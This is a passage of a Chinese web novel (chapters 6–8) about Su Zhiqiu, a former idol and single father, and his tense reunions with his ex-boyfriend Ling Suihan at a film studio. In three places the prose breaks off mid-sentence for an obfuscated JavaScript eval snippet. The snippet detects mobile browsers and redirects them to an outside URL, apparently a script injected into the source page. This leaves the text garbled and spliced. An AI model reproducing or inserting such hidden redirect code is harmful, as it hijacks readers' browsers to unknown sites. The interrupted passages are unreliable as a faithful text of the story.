要不是知道温觉非还在沪市忙,他都要以为这是温觉非给他买的了。 等一下。 苏致秋一个激灵,工作室又不只有他一个人,别人难道就不会跟温觉非说么。 想到这,苏致秋笑了笑,拍了一张照片过去,给温觉非打过几个字。 “谢了,小温温。” 发完,他心安理得地自己消好了毒。 想了想,怕缠满纱布会吓到苏团团,还要惹来苏致枫和老妈的问东问西,便只贴了创可贴。 处理好伤口,苏致秋没有再分心,只埋下头去认真地开始审片、剪辑。 好在今天的拍摄内容比较简单,只需要剪去艺人一些不恰当的话就好。 苏致秋埋头干了两个小时,时不时有其他人来找他问一些事,他也帮着处理完了。 终于等他疲倦地伸了个懒腰,晃晃头从椅子上站起来时,太阳已经彻底下了山。 北方的冬昼短夜长,才刚刚五点半,外面的天空已经变成了浓墨般的深蓝色,只有最后一抹光亮挂在西边。 今天事少,同事们拿起外套纷纷准备下班。 苏致秋也站起来,本来怕今晚加班来不及,所以说好了让老妈去帮忙接团团。 但看看时间,开快点还是能赶上的。 团团很依赖他,每天进幼儿园时,最后一句话都是“爸爸早点来接我哦。” 虽然别人接他,他也会表现得很乖,但苏致秋知道他内心很敏感,会偷偷不开心。 或许是因为他没有妈妈,所以苏团团把对爸爸妈妈的爱全部都投射到了他一个人身上。 苏致秋能理解他。 再加上,团团现在刚来北城不到一周,哪里都不熟悉,不能像在老家时那么随心所欲。 所以,苏致秋总是有点担心他不能适应。 自己亲眼见到总是要放心一点的。 不只是苏团团依赖他,他也早就离不开这个自己生下来的小团子了。 他拿起车钥匙,一边告诉老妈不用接团团了,一边朝外走。 大家说说笑笑关上灯,负责宣传的一个女生走着走着,忽然叫他们:“诶,诶,你们都看见微博热搜了吗?” 几个人让她说得一脸懵逼,不知道什么意思。 苏致秋知道这个女孩性格外向活泼,工作很认真,就是平时有点爱分享八卦。 他对这些东西没什么兴致,挥挥手,就要离开。 下一秒,女孩啧了一声,道:“我家凌岁寒啊,听说刚在咱们楼下被人围住了呢,堵了半个小时才刚走,太可怜了。” “哎呦,我以为什么呢。” 另一个男生无语地摆手,“你就是爱咋呼,这有什么稀奇的,他那么火,哪次你们粉丝去接机不把机场挤瘫痪。” 女生不搭理他,指着手机感慨道:“重点是他又又又诞生了一张神图!你们说这个窗户咱们也经常去,怎么就拍不出这种氛围感呢,要不下次我也试试这个角度?” 男生嗤笑了一声,道:“有没有一种可能跟角度没关系,跟咱们的长相有关系。” 咚的一声,他肩膀挨了一拳,不敢说话了。 早在听到“我家凌岁寒”五个字时,苏致秋就条件反射地停下了脚步。 “呀,小苏哥,你还不走吗?” 分享八卦的女生路过,看了他一眼,好奇地问。 苏致秋抿起藏在口罩后的唇,啊了一声,假作若无其事地跟上去问:“凌岁寒刚走啊?” 他刚来工作室不久,竟没发现还有一个凌岁寒的隐藏粉丝。 果然,女生见苏致秋竟然主动问她,有点激动,立刻点头道:“对啊,对啊,他明天就要进组了,估计趁着今天没事来找温老板玩吧,他和咱们温总原来可是一个团的,关系可好了,不过今天温老板不在啊,他怎么还待了这么久……” 苏致秋点点头,没有再多问。 不过,凌岁寒现在和温觉非竟然关系很好么。 他怎么没发现。 一群人说笑着上了电梯,只有苏致秋还站在电梯外发着呆。 化妆师叫他,“小苏哥,上来啊。” 苏致秋惊醒,他看了看即将合上的电梯门,没有再耽误大家的时间,退后两步笑道:“你们先走,我忘拿东西了。” 几个人乱七八糟地跟他告别,“明天见,小苏哥。” “拜拜。” 眼看电梯开始下行,苏致秋火速调转方向,却并不是朝工作室那边,而是直接跑向了防火门。 根据他的经验,如果有人在楼下拍了凌岁寒站在窗边的照片,那一定会有人来这个楼道。 就算外人进不来,但这个大楼二十多层,近千个工作人员都是娱乐行业相关的,难保就没个想求偶遇的粉丝。 苏致秋一边看表,一边拉开防火门跑下去,感应灯亮起。 熟悉的楼梯间冷清清的,空无一人。 他快步走到白天凌岁寒站的窗边,检查了一下窗台和墙边,没有烟头,一尘不染的窗台上连一抹烟灰都看不到。 苏致秋这才松了口气。 刚刚他看到了那张照片的发布时间,应当是一个路人发的,在二十分钟之前,被粉丝们看到之后才聚集到了这里。 这么短的时间里,应当是没有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498518|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来过的。 而且凌岁寒在这个圈子里待了快十年,在这些方面应当比他更注意。 是他糊涂了。 苏致秋走出防火门,不知为何,回头望了一眼。 楼梯间的窗户依旧半开着,夜风呼啸着吹进来,飞起几片落叶,卷走了那个人留在这里的最后一丝烟草味。 因为总是开车,他穿的衣服不多,寒风吹拂小腿,有点发冷。 关上门的那一刻,苏致秋忽然冒出一个念头。 十二月的北城,凌岁寒只穿了一件风衣在窗边站了一下午,他不冷么。 这个窗户有什么特别的,能让凌少爷耐着性子一站就是四、五个小时…… 苏致秋抿紧双唇,时隔五年,他已经不懂凌岁寒了。 从前即使两人分隔几千里,凌岁寒一个句号,他就能明白对方的未尽之言。 而现在,哪怕凌岁寒站在他面前看着他,他也读不懂这个陌生又晦涩的人了。 五年,错过的不只是岁月,还有彼此人生中的点点滴滴。 苏致秋上班路上风风火火,下班路上也是着急忙慌,就这样,赶到幼儿园门口的时候,也已经是迟到十分钟了。 他小跑着进去接苏团团。 家长没来的小朋友们正坐在软垫上围着老师听故事,苏团团明显有点心不在焉,独自坐在一个小角落里,抱着手里的汽车玩具发着呆。 直到老师注意到苏致秋的身影,笑着叫他,“团团,爸爸来啦!” 苏团团刚刚还雾蒙蒙的眼睛一下子亮了起来,一双清澈水灵的桃花眼冲着门口这边看过来。 虽然开心,他却依旧规规矩矩地收好小汽车,和老师告了别,这才像个小炮弹一样冲过来。 苏致秋蹲下身稳稳地接住他,小孩子软乎乎的小身子散发着热意,一下子暖和了他被冻得冰凉的手。 回去的路上,苏团团兴奋地叽叽喳喳说个不停,和苏致秋汇报着学校里的事。 今天幼儿园组织了捏面人活动,苏团团捏的小兔子非常可爱,被老师放到玻璃展柜里了。 苏致秋耐心地听着,时不时捧场地哇一声,来一句“团团这么棒呀,那爸爸必须奖励你呀!” 不一会,就把小家伙哄得眉开眼笑,两只小手捧着通红的脸蛋,连脖子都红了,还要别别扭扭地说一句“哎呀,也还好啦,爸爸你要是喜欢,我明天再捏一个给你带回来。” 看他这幅得意又害羞的傲娇模样,苏致秋忍不住笑起来。 工作一天带来的满身疲惫,也在此刻席卷一空。 车子又路过了昨天那家商场,只是今天来的时间不凑巧,等待红灯的二十秒里,一直在循环播放大熊猫。 只在汽车启动时,才忽然蹦出来那道熟悉的人影。 苏致秋余光中瞥见了,他故意没有回头,只假作没发现。 后视镜中,苏团团倒是再次扭过头去,不顾脖子酸痛,看了看。 只是,不知道是不是因为答应了他不再提那个帅叔叔,还是因为小孩子忘性大,苏团团没说话。 绚丽的LED灯被车窗分割成几道光影,打在他的左脸上,留下一抹暗红。 其实他今天对凌岁寒的祝贺真得是真心的。 就像刚才对苏团团的夸赞一样,是发自内心地为他开心。 可惜,儿子信了,他爹似乎没信。 还是练习生的时候,凌岁寒就说过,他要断层C位,他要做最耀眼的那颗星星。 说这话的时候,他眼中的野心勃勃与骄傲几乎要溢出来,宛若天边闪闪发光的一颗星星,那样耀眼,苏致秋永远忘不了。 现在,他已经实现了自己的梦想。 有数不清的商业代言送到他的手上,有人山人海为他欢呼尖叫,有无数路人为他的大屏驻足留下一张合照…… 他只是在那一刻,特别想祝贺他。 仅仅是以一个前队友的身份。 虽然,当初退团的他,连这个身份都不配拥有。 他说得对。 最先恩断义绝的人,不配再虚情假意。 而凌岁寒今天的冷漠与疏离,也再次无比赤裸地彰显了这一切。 因为这场意料之外的重逢而偷偷雀跃的人,从始至终,只有他一个而已。 苏致秋回头望了一眼靠在车窗上睡着的苏团团,纤长浓密的睫毛微微颤动,小脸上还带着浅浅的红晕。 “爸爸……” 他在睡梦中发出一声模糊的呓语。 “诶,爸爸在呢。” 苏致秋稳稳地握着方向盘,轻声回答了他。 汽车驶离路口,将流光溢彩的灯火与人群都留在身后。 大屏幕上,俊美的男人慢慢回首,宛若无声的目送。 7. 第 7 章 因为答应了要奖励苏团团,所以当晚苏致秋烤了鸡翅和蛋挞,还给发现了新大陆的苏团团下单了一大盒超轻黏土,让他捏着玩。 尽管开心地咧开嘴笑个不停,苏团团的吃相依旧斯斯文文,没有弄脏小手和脸蛋。 和旁边吃得一脸碎屑的苏致枫形成鲜明对比。 苏致枫抽出纸巾擦了擦脸,有点郁闷地看了白白嫩嫩的苏团团一眼。 再看看同样跑去洗手的苏致秋,再次确定,这孩子指定没继承他们老苏家的基因,反而活像个小少爷一般。 胳膊肘往外拐,明明是他哥辛辛苦苦十月怀胎生下来的,却这么像那个男人。 他站起身,帮苏致秋收拾好桌上的碗筷,放到厨房。 一边随口问,“哥,你这手确定不用去医院看看?” 苏致秋看了看镜子,道:“不用,都说了没多大事,就是擦了一下。” 苏致枫哦了一声。 一转身,就见一边苏团团已经戴上了对于他来说过大的手套,像模像样地对苏致秋道:“爸爸,团团帮你洗碗吧。” 苏致秋擦干右手,十分感动地拒绝了他,“……乖,让叔叔洗吧。” 人还没洗碗池高呢,洗什么洗。 尽管他没说出口,但苏团团已经通过他的眼神,敏感地领悟了什么,桃花眼都耷拉下来了。 苏致秋有点无奈,自从从小班升入了中班后,苏团团就陷入了某种成长误区。 不能笑他矮,不能笑他臭美,不能笑他一碰一道红痕,十分娇气…… 总之,就是非常要面子。 果然,苏团团大受打击的模样实在太过可爱,又被苏致枫狠狠嘲笑了一顿。 苏致秋:“……赶紧去洗碗。” 等他没好气地赶走苏致枫,再抱着哄好苏团团,再三保证一定会照顾自己,不会再受伤的时候,已经九点多了。 为了不让老妈担心,苏致秋特意嘱咐苏团团,不要告诉奶奶自己受伤的事。 苏团团眨巴着大眼睛,唔了一声,拽着他的衣角问:“爸爸,还有其他不可以说的事吗?” 苏致秋:“……” 他想着最近哄骗小孩的次数是有点多了,这是最后一次,以后可不能这样了。 不然时间长了,给苏团团形成不良示范作用可怎么办。 “没了。” 他有点尴尬地看着苏团团乖乖去给奶奶打电话,一边暗暗下决定,明天一天要记得给团团买棉花糖回来。 本来就教孩子骗奶奶,现在又言而无信,他这个高大的爸爸形象要毁于一旦了。 安顿好团团,看他闭着眼睡得十分香甜,苏致秋放心地走到阳台给温觉非打电话。 温觉非接得很快,上来就问他,“我干儿子呢,睡着了?” 苏致秋应了一声,有些疲倦地捏了捏额角,“幸亏有你给我买的纱布,不然让他看到我的伤口,又要掉眼泪了。” 温觉非下意识地回道:“团团担心你嘛。” 下一秒,他忽然反应过来,“等一下,你在说什么疯话?” 温觉非一脸懵逼地问:“什么纱布?你受伤了?” 这下轮到苏致秋愣住,“纱布和消毒棉球啊,你不是让跑腿放我桌上了吗?” 那边静了几秒,才讶然反驳:“你别吓我行吗,我在两秒钟之前才知道你受伤了,去哪里叫跑腿?” 苏致秋怔了怔,也意识到是自己想岔了。 电话那头,温觉非有点着急地叫他,“喂,喂,到底怎么回事,怎么还受伤了?还有你今天怎么突然就把电话挂了?是不是那个方星怎么了?” 苏致秋只好先把纱布的事抛到一边,把事情的来龙去脉说了一遍。 温觉非的反应却比他还错愕,“凌岁寒?他去干什么?” 他咋咋呼呼地重复了一遍这个名字。 声音有点大,苏致秋有点心虚地捂了下听筒,从窗户里看了看屋内的小人。 “小点声,吵醒了苏团团,你飞回来帮我哄。” 温觉非立刻压低音量,“他最近没有和工作室的合作啊!” 苏致秋回忆了一下,如实道:“他们说是来找你玩的,说你们关系很好,才来的。” “我呸,什么?气死我了!” 温觉非再次控制不住自己的音量,烦躁地吐槽道:“谁造谣的?我看见他那张脸就烦,每次一见我就拉个长脸,好像我偷了他老婆一样,不是翻白眼就是装没看见我,我都怕他那天趁我睡着把我卖了。” 苏致秋:“……” 他叽里咕噜地咒骂了一长串,才总算说爽了,想起正事来。 “算了,小苏苏,不跟他一般见识,放心吧,你不要有压力,我基本没怎么和他合作过,今天还不定什么情况呢。” 不愧是他的好兄弟,瞬间就正中他的心尖。 让苏致秋本来犹豫着想要先离开工作室的话,都没能说出口。 温觉非却从他的沉默中敏锐地猜出什么,阴森森地问:“什么情况?别告诉我你想走。” 苏致秋支吾了几下,立刻将手机移开耳边,果然听到温觉非的连环diss,“不行!” 那头从工资说到安全,又从安全说到团团,最后连十七年的兄弟情都扯上了。 苏致秋被逗笑了,想了想,温觉非说得没错。 何必因噎废食呢,今天只是个意外,明天凌岁寒进了组,拍完戏后估计就要离开北城了。 就算他想见面都难了。 温觉非又宽慰了他两句,嘟哝着要去查查凌岁寒今天这是整哪出。 挂电话前,他忽然安静下来,用小心翼翼的语气问了一句,“小苏苏啊,你俩今天说话了吧,怎么样啊,那个,你,你……没事吧?” 苏致秋顿了顿,语气轻松地道:“放心吧,都是成年人了,肯定不会像小时候那么意气用事了,就是握握手,客气了几句。” “哦哦,”温觉非忙应了两声,顺着说:“那就好,那就好。” 苏致秋挂断电话,回到卧室,亲了亲团团的小脸蛋,心下还是有几分担忧。 他不怕遇到凌岁寒,但他怕凌岁寒会再次误会他,说他是“虚情假意”的故意制造偶遇。 好在,温觉非没有骗他,之后的两天里,凌岁寒都没有再出现。 如果不是微博上还挂着他那张新出圈的神图,苏致秋几乎要怀疑那天在楼梯间里的一切,只是他臆想出来的梦。 只是,在看到凌岁寒的照片时,苏致秋突然想起,没有问温觉非对方什么时候有了家庭。 这些年,温觉非和凌岁寒同在北城发展,前队友的身份见面的机会也多,应当是知道一点内情的。 但想起五年来,温觉非一次都没有和自己提过,无论是直说还是暗示,都没有过。 苏致秋还是打消了这个念头。 温觉非这个人,表面上十分跳脱,实则格外细心敏感。 对方不跟他说,要么是根本不知情,要么是故意隐瞒自己,不想影响自己的心情。 无论哪种原因,他又何必再去刨根问底。 反正,都只是前人过客了。 凌岁寒的妻子和孩子,又与他有什么关系呢。 再去问,难保温觉非不会误会他动了复合的心思,到时候又是一堆麻烦事。 一边想着,苏致秋一边快速整理着桌面,前两天连着加了两天班,都没能去接苏团团,晚上回了家,孩子也已经困了,话都没说上两句。 小孩面上没事,但能看出来还是有点委屈。 他今晚得好好哄哄小朋友。 披上外套,苏致秋笑着和大家招呼了一声,心情不错地朝外走。 “小苏哥!” 刚走到电梯,他就听到身后传来呼喊声。 苏致秋扭头一看,见是宣传组那个小姑娘。 “小苏哥,”小姑娘跑过来,举着电话道:“一个好消息,和一个坏消息,温总问您想听哪个。” 苏致秋:“……” 他有种不好的预感,但还是拿过电话,道:“什么坏消息?” 温觉非的声音从那头传来,带着点急切,“太好了,你还没走,不然还得把你叫回来。” “今晚临时要加塞一个艺人,本来定好是下周的,但那边突然说要去贵城拍戏,回不来了,所以提前到今晚了。” 说着,温觉非的语气变得有些歉然,他是知道的,苏致秋有了团团,晚上得回家带孩子。 他压低声音道:“你看我干儿子那边……” 苏致秋倒是还好,非常快地就接受了这项工作,“没事,让我妈去接就行。” 他早就知道干这行熬夜加班是难免的,艺人们的档期塞得满满当当,谁都不容易,总要通融一二的。 温觉非顾念着他们的友情和他的特殊情况,不愿辛苦他,他却不能真得就这么坦然地接受人家的照顾。 起码,本职工作一定要尽全力做好,不让温觉非担心。 温觉非那边的语气才重新轻松起来,“还有一个好消息。” 原本识趣离开的宣发小姑娘凑过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498519|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期待地问:“温总,是什么啊?” 温觉非卖了半天关子,才神神秘秘地道:“给你们定了夜宵,随便吃,我买单。” 小姑娘:“……谢谢温总。” 她嘟着嘴走了。 苏致秋看着温觉非转给他的几千饭钱,想了想,又给他退了回去。 那边打了个问号。 “我来了之后还没请大家吃过饭,不太合适,今晚正好请大家吃个宵夜吧。” 苏致秋发过消息去。 温觉非给他回了个ok的表情,过了片刻,又给他推荐过来几个店铺。 苏致秋扫了一眼,就明白了他的意思。 心中划过一丝暖意,他笑着回道:“放心吧,我有钱。” 温觉非回了个亲亲的表情包。 苏致秋收起手机,翻了翻余额。 刚领到第一个月工资,刨去团团的学费还有家里各种开销,说是手头紧张,但请大家吃饭的钱还是有的,只不过吃了这顿饭,团团就得少买两件衣服,少吃两顿肯德基了。 自己原本想换个新钱包的计划也得暂时搁置了。 不过也没事,小孩子嘛,下次补回来就好了。 至于钱包,也不是什么必需品。 苏致秋心态很好地回到工作室,随口问了声策划,“今晚是哪个艺人来着?” 策划回道:“是方星,小苏哥。” 苏致秋:“……” 他刚刚还良好的心态,一下子就掉了下来。 那天方星留给他的印象实在不咋地。 苏致秋在心中开解了自己两句,方星就方星吧,幸亏不是凌岁寒。 不过转念想想,要是凌岁寒,温觉非估计早八百里加急催他回家了。 苏致秋笑了笑,看了一遍今晚的流程。 一个人的拍摄任务看着不多,但补妆、调镜头等等一堆事下来,今晚十点能结束都是好的。 好在,方星今天的态度还不错,早早到了,甚至比约好的七点还要早。 准确的说,来得有点过于早了。 刚不到六点半,他就到了。 他来的时候,苏致秋还在忙着检查准备工作,正弯着腰费力地帮忙推动一个大型摄影轨道,就听身后传来一阵喧哗声。 他累得脸红脖子粗,直起身摘掉手套,这才发现还贴着创可贴的手居然又渗血了。 苏致秋啧了一声。 他撕开创可贴检查了一下,创可贴连着没长好的皮肉掀起,疼得他一哆嗦。 眼看方星已经晃悠进来了,苏致秋作为负责人,也没功夫再去换上纱布。 他把染血的创可贴随手一贴,就迎了上去。 方星今天换了个助理,是位三十多岁的女士,看起来很温和,交流起来也复那天那个男助理的趾气高扬。 苏致秋内心观感好了不少。 方星还和他打了个招呼,“苏老板,晚上好啊。” 苏致秋还记得他那天的突然发疯,只低低地应了一声。 方星再次狐疑地看了他露在口罩外的眉目一眼,不等他再次开口,就被助理推去化妆。 看着他显出几分乖巧的背影,苏致秋总算松了口气,看来今晚能早些结束了。 美滋滋地转过身,苏致秋去关工作室的门,视野里却忽然出现一双白色板鞋,修长的腿朝上一抬,正好卡住了即将合上的门板。 他一愣,猛地抬起头,正对上一双乌黑潋滟的桃花眼。 对方看了他一眼,又神色如常地低下头看了看门缝,开口道:“苏老板,麻烦让一下。” 苏致秋这才意识到门还掩着他的脚,他忙拉开门,下意识皱眉道:“干嘛用脚挡,没伤到吧?” 凌岁寒已经收回腿,旁若无人地进了工作室。 本以为对方不会理自己,两人擦肩而过时,苏致秋却忽然听到耳边传来一声低语,“苏老板心疼我了?” 那道声音压得极低,带着淡淡的嘲意,只有两人能够听清。 也不知是不是离得太近,苏致秋甚至都能感觉到身边人的气息,热意扑到他耳边,有点痒,惹得他忍不住揉了揉耳垂。 身边人冷笑了一声,慢慢走远。 过了好一会,他才忽然意识到对方刚刚说的那句话……似乎有点不应存在的暧昧。 不像是同事之间的玩笑,倒像是来自前男友带着嘲笑的戏弄。 嘲笑他又一次虚伪的虚情假意。 戏弄他只是因为对方随口一句话,就开始胡蹦乱跳的心。 十分恶劣。 8. 第 8 章 等苏致秋调整好心情,悄悄地挪到影棚那边看情况的时候,已经开拍一会了。 方星今天应该是打了鸡血,拍摄起来非常给力,才刚九点,拍摄进程已经一大半了。 不知道是不是他的错觉,苏致秋总觉得自己在旁边看着的时候,方星似乎表现得还要夸张一点,像是要引起他的注意一样。 不管是不是他多想了,出于礼貌,也为了以后更好的合作,中场休息的时候,苏致秋去订饭,一边给了方星一个大大的笑脸。 他夸赞道:“小方镜头感真强,长得也这么帅,真不愧是今年的中戏第一,前途无量啊。” 苏致秋倒也不是全在客套,他是真心觉得方星的确有两把刷子,并不是网上黑粉说的那样花瓶。 光凭他最近了解到的这小孩是中戏第一这点,就够苏致秋敬佩了。 因为家里的原因,他高中三年上得一塌糊涂,天天课都不知道有几节,成绩就更不用说了。 所以苏致秋真心佩服和羡慕所有读书好的人。 就像当年原本和凌岁寒针锋相对的他,在听说人家一边当着练习生,一边期末考试考了全年级第二之后,立刻转变了态度,两人这才慢慢缓和了关系。 果然,小孩最不禁夸,方星立刻有些得意起来,难得说了两句客气话,连称呼都变了。 “苏哥过奖了,只是运气好罢了,哈哈哈,黑粉都说我学历是买来的呢。” 他撇撇嘴,玩笑道。 苏致秋却没有顺着一笑而过,他抬眸认真道:“那是他们错了,我就觉得你很厉害。” 方星一愣,看了他一眼,轻咳一声收回视线。 苏致秋看他似乎有点不好意思,微微一笑,换了话题,“小方有什么忌口吗?今晚我请客,烧烤吃不吃?” 方星显然还沉浸在得意的情绪中,随意一摆手,“都行都行,我那份多要辣,谢谢苏哥。” 苏致秋应了一声,转身要走,又被方星叫住。 “对了,凌哥陪我一起来的,”方星脸上还带着笑,随口道:“不用问他了,他肯定不吃。” 苏致秋一愣。 见他的神色,方星似乎误会了什么,解释道:“太晚了,他没有吃宵夜的习惯,不是对你们有意见。” 或许是因为自己刚刚的夸赞取悦了他,方星对苏致秋的态度明显亲近了不少。 “嗐,我实话告诉你吧,他这几天心情不大好,”方星耸耸肩,“你们温总可是他亲队友,他来了肯定都不敢招惹凌哥,你就别去触霉头了。” 说着,方星哥俩好地拍了拍他的肩膀,给了他个我是为你好的眼神。 苏致秋点点头,领了他的好意,轻声道:“谢谢。” 他走到一边去订饭,脑海中却不断回荡着方星的话。 本来还犹豫着要不要去问问凌岁寒,方星的话倒是替他做了决定。 怪不得凌岁寒明明没合作,却依旧跑来工作室,明明温觉非不在,却依旧一坐就是一整天。 哪怕白天拍了一天戏,晚上却依旧不休息,来这里枯坐着。 原来是为了陪方星。 苏致秋一边蹲着帮忙整理电线,一边有点无地自容。 直到此刻,他才猛然意识到,他心里是有个隐秘的念头的。 一个无法说出口,会让人笑掉牙的念头。 其实,他以为凌岁寒是因为自己才来这里的。 起码,有一半原因是因为自己,哪怕只是单纯来看他的笑话。 但其实,一丁点都没有,全是他的臆想。 想到这,苏致秋自己都忍不住笑了一下,也不知道为什么,就是觉得有点好笑。 但是没关系,他的痴心妄想只藏在他的心里。 除了他,谁也不知道。 没人会嘲笑他的自作多情。 苏致秋在心里安慰自己,起码没在别人面前丢脸,睡一觉明天起来就忘了。 他心态一向好,很快就从尴尬转为了庆幸,继续卖力地帮忙推机器。 早干完早下班。 他推得太卖力,连人走到了他身后都不知道。 有个人在他身后叫了他一声。 似乎见他没反应,那人挑起眉,抬腿轻轻碰了他一下。 对方本只是想踢踢他的脚,沉浸在工作中的苏致秋却被吓了一跳,身形剧烈一晃。 啪叽一下。 他一屁股坐到了对方的脚上。 坚硬的板鞋先是陷进了软乎乎的屁股,随后一滑,似乎正好抵在了某个隐秘的地方。 苏致秋猛地一颤,手僵在半空中,慢慢握成拳。 或许任何人都逃不过孕期激素的影响,生育苏团团的过程又太过艰辛,除了面容的改变,他身上还留下了许多或深或浅的变化。 例如他以前一向引以为傲的六块腹肌不复存在,取而代之的是软软的小肚子。 虽然经过他坚持健身,腹肌重新回来了,称得上是细腰长腿。 但毕竟年纪上来了,再加上不用像爱豆时期严格管理,他再也没有当年的线条了。 遭遇同样命运的,还有他的……屁股。 嗯,怎么说呢,简单概括,就是变得肉乎乎的,浑圆挺翘,和他清瘦的身材极其不符。 不然也不至于发生这场尴尬的惨剧。 苏致秋率先回过神来,他拍拍手,站起身。 凌岁寒也不知道在想什么,直到他转过身来,对方才慢慢放下腿,神色有些复杂。 苏致秋再次庆幸自己戴着口罩,旁人看不清他已经爆红的脸色。 他轻咳一声,主动开口,“怎,怎么了?” 凌岁寒扫了他一眼,反常地率先移开视线,盯着一旁的摄像机,似是随口一问,“今晚你请客?” 苏致秋嗯了一声,不知他什么意思。 “帮我加份粥,谢谢。” 凌岁寒像是躲避着什么,头也不抬地说完这句话,扭头就要走。 苏致秋愣在原地,下意识追上去,问:“可,可是方星刚刚说你不吃,我就……” 凌岁寒停下脚步。 苏致秋一个不察,在最后一秒及时收住脚步,才没有一头撞上他的背。 即使只看背影,苏致秋也能感到对方似乎有点不爽。 不等凌岁寒开口,他就快速道:“没关系,你要喝什么粥?现在不忙,我直接去帮你买吧。” 凌岁寒背对着他,声音淡淡。 “算了。” 今天他倒是出乎意料的好说话,不复那天的冷嘲热讽,两个字就结束了话题。 说完,他快步消失在苏致秋的视线里。 苏致秋下意识跟上两步,又讪讪地站住,看着他拉开门,不知去了哪里。 他是知道凌岁寒的,对食物没什么欲望,吃饭只是为了活着,现在主动来找他这个惹人烦的前男友,肯定是真饿了。 摘掉手套,苏致秋犹豫一下,忽然拿起一边的外套披上,对走过来的宣发组小姑娘招呼了一声。 “我出去一趟,马上回来,一会外卖到了辛苦帮我分一下。” 小姑娘干脆地应了一声。 已经很晚了,苏致秋也不知哪里来的劲头,硬是开着车在深夜的街头,找到了一家还在营业的粥铺。 凭着以前对凌岁寒的了解,他直接帮对方买了份瘦肉粥。 回去的时候,烧烤果然已经到了,大家一边吃着,一边笑着说话,挺热闹。 见他回来,几个人七嘴八舌地招呼着道谢。 苏致秋笑着摆摆手,状似不经意地扫了一圈屋内,所有人都在,唯独不见那人的身影。 他蹙起眉,将粥放在一边,没吭声。 等烧烤都下去了一半,手边的粥也从滚烫慢慢变温的时候,苏致秋终于有点坐不住了。 他站起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498520|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转悠着看了一圈,确定了凌岁寒确实不在。 不知道是出去了没回来,还是……走了。 他犹豫了几分钟,还是一咬牙去问了问方星。 方星正和助理讨价还价想多吃几串肉串,听到他问,愣了一下,下意识道:“没走吧,他没和我说啊。” 他拿出手机,道:“我打个电话问问。” 苏致秋控制着自己的余光,没有让它落到手机屏幕上,看清那串号码。 铃声响起,十秒钟后,只听嘟嘟两声,那头直接挂断了。 方星有点尴尬地看了一眼苏致秋,再次打了过去。 这次凌岁寒接了,不知说了两句什么,方星哦了一声。 “没事,苏哥,凌哥说他有点急事先走了,就不上来了,让我跟你打声招呼。” 方星对苏致秋解释,说得还挺客气。 苏致秋怔了怔,回过神来,应了一声。 方星还在旁边跟助理抱怨,“说好了送我回去,结果又自己走了,看我回去不跟我姐姐告状,他可是答应了我姐的。” 他小声嘟囔着,虽是埋怨,话里却带着藏不住的亲昵。 原本还在一边犹豫着的苏致秋,听到最后一句话,一下子清醒了过来。 他看了一眼方星精致的脸庞,脑海中又浮现出那天在商场看到的女人。 苏致秋心中隐隐有了一个猜测,慢慢凝实。 原本还有些焦躁的心慢慢冷却下来,他没了再听下去的兴致,对方星点了点头,转身离开。 粥已经慢慢由热变凉,萦绕在空中的香味也消散了,让人看起来没什么食欲。 苏致秋揉了揉肚子,他光顾着出去买粥,晚饭还没吃。 大家吃完饭准备开工了,工作室重新忙乱起来,上半场苏致秋已经弄完了,剩下的没他什么事。 看看已经冷掉的烧烤,他强撑着吃了两串,感觉有点腻,肉味顺着呼吸朝上反,想吐。 瞟到一边桌上的瘦肉粥,他顿了几秒,拎起来走了出去。 本是想去走廊尽头的公共椅边吃,路过灰色的防火门时,他却不知为何停下了脚步。 苏致秋推开门走进去。 已经太晚了,这一层只有他们工作室还在加班,空气中一片寂静。 他脚步轻,没有惊亮声控灯。 苏致秋就这么摸着黑下了几级台阶,坐下。 一片漆黑沉寂中,他却又不着急打开盒子喝粥了。 拿出手机,苏致秋看了看微信,团团果然用苏致枫的微信给他发了消息。 主要是控诉叔叔给他洗澡的时候故意抢他小鸭子,还故意挠他痒痒,非常坏,但团团是个成熟的小孩,还是选择了原谅他! 虽然据苏致枫偷偷回复,是因为自己用草莓味牛奶贿赂了苏团团,小孩才大度地重新搭理他。 苏致秋忍不住笑了起来。 他给团团回了消息,让他不要等自己,乖乖睡觉。 放下手机,苏致秋缓了缓,那股恶心劲好了点,但肚子似乎还是有点不舒服。 他拿起身旁的粥,解开袋子。 “苏致秋。” 耳边冷不丁响起一道声音,吓得他一激灵,差点把粥扔出去。 声控灯也被震亮。 苏致秋循声望去,这才发现窗边竟还有一个人。 凌岁寒站在老地方,手里没有夹着烟,但身前的烟灰和四五颗烟头,暴露了他之前抽得很凶。 看着夜色中的凌岁寒,苏致秋第一反应竟是幸亏自己没有点开苏团团的语音,而是转了文字。 否则听到那一声声清脆的爸爸,他实在不知道要如何解释。 